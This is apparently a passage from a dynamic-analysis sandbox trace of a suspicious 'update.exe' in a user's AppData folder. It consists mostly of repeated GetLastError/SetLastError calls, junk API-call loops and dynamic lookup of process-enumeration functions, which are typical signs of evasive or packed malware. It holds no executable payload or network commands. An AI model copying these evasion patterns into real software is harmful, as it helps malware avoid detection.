\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xcb\xf7\xb0\xc8\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0112.632] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48e318, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.632] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.636] SetLastError (dwErrCode=0x0) [0112.636] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.637] SetLastError (dwErrCode=0x0) [0112.637] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.649] SetLastError (dwErrCode=0x0) [0112.649] GetLastError () returned 0x0 [0112.649] SetLastError (dwErrCode=0x0) [0112.649] GetLastError () returned 0x0 [0112.649] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40972f) returned 0x0 [0112.649] PeekMessageA (in: lpMsg=0x18fe98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fe98) returned 0 [0112.651] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.651] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.651] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.651] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.652] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0112.652] GetProcAddress (hModule=0x773e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7741735f [0112.652] GetProcAddress (hModule=0x773e0000, lpProcName="Module32First") returned 0x77475cd9 [0112.652] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.652] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.652] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.652] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.652] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.652] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.652] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.652] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.652] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.652] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.652] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.652] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.652] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.652] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.652] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.652] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.653] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.653] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.653] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.653] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.653] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.653] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.653] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.653] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.653] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.653] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.653] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.653] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.653] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.653] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.653] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.653] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.653] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.653] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.653] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.653] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.653] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.653] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.653] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.653] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.653] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.653] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.653] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.653] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.653] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.654] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.654] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, 